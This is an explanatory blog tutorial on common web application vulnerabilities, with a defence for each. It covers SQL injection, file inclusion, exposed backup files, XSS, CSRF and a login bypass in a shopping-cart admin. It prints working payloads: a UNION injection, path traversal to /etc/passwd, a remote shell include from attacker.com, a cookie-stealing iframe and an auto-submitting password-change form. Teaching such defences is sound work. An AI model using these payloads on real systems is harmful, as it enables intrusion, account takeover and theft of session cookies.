BASICS of WEB APPLICATION SECURITY

As computers and communication technologies continue to advance, the issue of computer security is becoming increasingly critical. Nowadays, virtually every individual has a presence on the Internet, and this is even more true for businesses. Without web-based solutions such as ERP applications and collaboration tools, it’s difficult to conduct business. This raises numerous questions about the security of company and customer information, such as whether it can be accessed without authorization and what steps can be taken to prevent hacking. These questions are more relevant now than ever before. Twenty years ago, few people used computers and even fewer were concerned about information security.

For those who were, it was either a hobby or a profession, and they had a different mindset. If they discovered a vulnerability in a system or software, they would report it to the owners to fix or mitigate. I recall a person who hacked the name server of our university network via the finger daemon in the 90s and immediately reported it without causing any harm.

However, with almost everyone now having Internet access, things have changed dramatically. Anyone can download working exploits for newly discovered vulnerabilities, there are tools that can automate most of the steps needed to hack a website, and let’s not forget Google and Shodan, which can be used to identify vulnerable targets. This has made hacking (loosely speaking) much easier.

Why the Web Application security matters?

Given the current circumstances, answering this question is not difficult. The availability of “hacking resources” has made the threat to information security significantly higher, as virtually anyone can access them. With the shift towards web applications and the growing popularity of cloud computing, security experts and researchers have redirected their focus. While it may be more challenging to find remote exploits for operating systems, web applications are much easier to target and compromise. In fact, all that is often required is a web browser, along with techniques such as LFI, RFI, File Upload, and SQLi.

For example, if an application is vulnerable to LFI, including the process environment file, which is parsed by the PHP interpreter, can lead to remote command execution if the User-Agent is changed to PHP code. Similarly, including a web shell from a remote server can exploit an RFI vulnerability. Furthermore, vulnerabilities are frequently publicly disclosed, sometimes even before a patch is available.

Why would someone attack my company?

Hackers can have various motivations, such as carrying out industrial espionage, using a compromised system as a stepping stone to attack other machines/networks, seeking financial gain (whether real or imagined), seeking revenge, engaging in hacktivism, and more. Any individual or entity can target any company for any reason, including no reason at all.

What could be the damage?

Regardless of the attacker’s motivation, their actions can result in significant financial losses, damage to reputation and loss of trust, and even legal action. If a server is hacked and used as a stepping stone to attack other networks, it may be seized by law enforcement, leading to further losses. In addition, if the server’s content is deleted, it can directly impact productivity. Furthermore, a compromised server can serve as a gateway to internal networks of the company, leading to further attacks. Therefore, it is important to understand the following:

Most Common Vulnerabilities in the Web Applications

The Open Web Application Security Project (OWASP) defines ten categories, which combine “the most serious risks for a broad array of organizations.” Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably, the most common and the easiest one to exploit is

SQL Injection – Exploiting the Developer

Most dynamic web applications rely on a database back-end to store and retrieve content that is displayed to users in their browsers. The parameters passed by the application’s scripts to the back-end database determine the content displayed. However, as these parameters depend on user behavior, they can be modified by users. This is a fundamental feature of web applications. However, problems arise when parameters are passed to the database without proper sanitization.

This allows malicious users to bypass legitimate queries and pass their own queries to the database, obtaining results in various ways. In other words, SQL Injection exploits the assumptions made by application developers. For instance, consider the following code used by a developer:

$sql = ‘
SELECT *
FROM products
WHERE id = ‘ . $_GET[‘id’];

they want the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:

SELECT *
FROM products
WHERE id = 1

In this particular case, the developers assumes that the ‘id’ parameter would always be an integer. However, since the value of the ‘id’ parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6– In this case, the DB query will look like this:

SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6

Essentially, this code instructs the database to display information about the product with ID 1 and combine it with a set of data that includes information about the user, the database name, and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To execute this query, an attacker needs to know the number of columns in the database. This information can be easily obtained by making several requests that instruct the database to display the data, ordered by a particular column. This is a basic example of a regular Union SQL Injection. Other types of SQLi attacks include error-based, time-based blind, and boolean-based blind. Error-based SQL Injection attacks rely on extracting information from errors returned by the database.

Developers sometimes mistakenly believe that hiding errors from the output resolves the vulnerability. However, the fact that the returned data or errors are not visible does not mean that the script is not vulnerable. In these cases, attackers can use Blind SQL Injection to exfiltrate data, such as brute-forcing data based on boolean or time-based conditions. Attackers and pentesters are not limited to using a browser to exploit these vulnerabilities; there are numerous tools that can automate the process, with sqlmap being one of the most widely used tools.

To prevent SQL Injection, several measures can be taken, with the most commonly used method being:

filtering the user input

This method is the easiest to implement, and, if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering – case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use

parameterized queries

or “prepared statements”. These are essentially templates for SQL queries, which contain spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use

ORM (Object Relational Mapping)

This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries.

The second most common vulnerability in Web applications is

File Inclusion – Exploiting the Functionality

This is yet another vulnerability that is relatively simple to discover and exploit. Essentially, it allows for the inclusion of files from either the machine on which the application is running or from a remote server that is visible to the machine. The ability to include various scripts is crucial for the operation of every application, as it is how the application logic is abstracted or how different pages are displayed, depending on the user’s choice. Let’s consider a relatively straightforward website that contains four pages: Home, News, About Us, and Contacts. When a visitor accesses the Home page, the URL they use would resemble the following:

http://target.com/vulnerable_script?page=home
In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let’s assume that the script has the following code:

<?php
$page = $_GET[‘page’];
if(isset($page)) {
include(“$page”);
}
else {
include(“vulnerable_script.php”);
}
?>
The code is self-explanatory – the value of the GET parameter page is assigned to a variable ‘page’. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:

http://target.com/vulnerable_script?page=../../../../etc/passwd
the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:

<?php
$page = $_GET[‘page’];
if(isset($page)) {
include(“$page” . “.html”);
}
else {
include(“vulnerable_script.php”);
}
?>

This vulnerability is quite easy to find and exploit. Essentially, it allows an attacker to include files from the machine on which the application runs or from a remote server that is visible to this machine. Including different scripts is essential for the work of every application – this is how the application logic is abstracted or how different pages are displayed, depending on the user’s choice. Let’s take a fairly simple website that has four pages: Home, News, About Us, Contacts. If a visitor accesses the Home page, the URL they use would look like this:

http://www.example.com/index.php?page=home

To exploit this vulnerability, the attacker can manipulate the “page” parameter in the URL and include arbitrary files. For example, if the attacker changes the “page” parameter to “../../etc/passwd”, the application will try to include the “/etc/passwd” file on the server. This can disclose sensitive information such as usernames and passwords.

One way to prevent this vulnerability is to use a whitelist approach, where only certain files can be included. Another way is to use input validation to prevent the use of special characters that can be used in directory traversal attacks, such as “../” or “..”.

LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let’s say that we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process – it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server.

Including files from remote locations is not that different. If the server configuration allows the inclusion of remote scripts and the script is vulnerable, the only difference will be in the URL – the attacker would just have to use an address such as “http://evil.com/backdoor.php”. It is important to note that allowing the inclusion of remote scripts is not recommended, as it opens up the possibility of remote code execution.

http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00

The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the

Unprotected Files or Exploiting the Negligence

Often times, people make mistakes out of carelessness and this includes developers and system administrators. With the help of Google dorks, it is possible to find various configuration or backup files that contain database connect strings, scripts with incorrect content type that can be downloaded instead of being executed in the browser, file managers with weak or no authentication, and so on. Surprisingly, these are common mistakes that are made.

For instance, imagine a scenario where a developer has to quickly make changes to a web application on the production server. They create a backup of the script they are about to modify and leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive information such as usernames and passwords, the backup file still poses a security risk because whoever accesses it will most likely download it. In another scenario, the web application may use a Rich Text Editor like FCKEditor.

There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is

XSS or Exploiting the User

There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.

  • The attacker creates a script on their server that will collect the cookies.
  • The attacker injects the following hidden iframe in the application:
<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”attacker.com/get_cookies.php?cookie=” + document.cookie)></iframe>
  • An authenticated user loads the page that contains the iframe.
  • The cookie is sent to the script, which writes it to a file or a database.
  • The attacker loads the cookie in their browser and is able to authenticate as the user.

Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let’s not forget BeEF. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the

XSRF or Exploiting the Browser

In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:

  • The attacker creates their own form on their server:
<html>
    <head></head>
    <body onLoad="javascript:document.password_form.submit()">
        <form action="https://target.com/admin/admin.php?" method=post name="password_form">
            <input type=hidden name=a value=change_password>
            <input type=password name=password1 VALUE="new_pass">
            <input type=password name=password2 VALUE="new_pass">
        </form>
    </body>
</html>
  • The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.
  • The attacker tricks the user to access the page (the user has to have an active session with the Web application).
  • The form submits the data to the server, effectively changing the password.

The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on.To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the

Authentication and Authorization or Exploiting the Implementation

We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let’s take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.

  • The administrator accesses http://target.com/catalog/admin.
  • The script redirects to the login.php script.
  • The administrator enters their login credentials.
  • The script checks the login credentials.
  • If they are correct, the administrator is logged in.
  • If they are not correct, the script asks the user for their login credentials again.

This is achieved by showing the login.php script to every unauthenticated user of the application. Let’s see part of the code of the script.The login.php script contains the following code:

require('includes/application_top.php');

and here is the part of the application_top.php script that checks if the user is authenticated:

// redirect to login page if administrator is not yet logged in
if (!tep_session_is_registered('admin')) {
    $redirect = false;
    $current_page = bassename($PHP_SELF);
    if ($current_page != FILENAME_LOGIN) {
        if (!tep_session_is_registered('redirect_origin')) {
            tep_session_register('redirect_origin');
            $redirect_origin = array('page' => $current_page, 'get' => $HTTP_GET_VARS);
        }
        $redirect = true;
    }
    if ($redirect == true) {
        tep_redirect(tep_href_link(FILENAME_LOGIN));
    }
    unset($redirect);
}

What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:

http://target.com/catalog/admin/file_manager.php/login.php

The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.

The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.

Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.

To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.

Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.

Add a Comment

Your email address will not be published. Required fields are marked *

ABOUT CODINGACE

My name is Nohman Habib and I am a web developer with over 10 years of experience, programming in Joomla, Wordpress, WHMCS, vTiger and Hybrid Apps. My plan to start codingace.com is to share my experience and expertise with others. Here my basic area of focus is to post tutorials primarily on Joomla development, HTML5, CSS3 and PHP.

Nohman Habib

CEO: codingace.com

Request a Quote









PHP Code Snippets Powered By : XYZScripts.com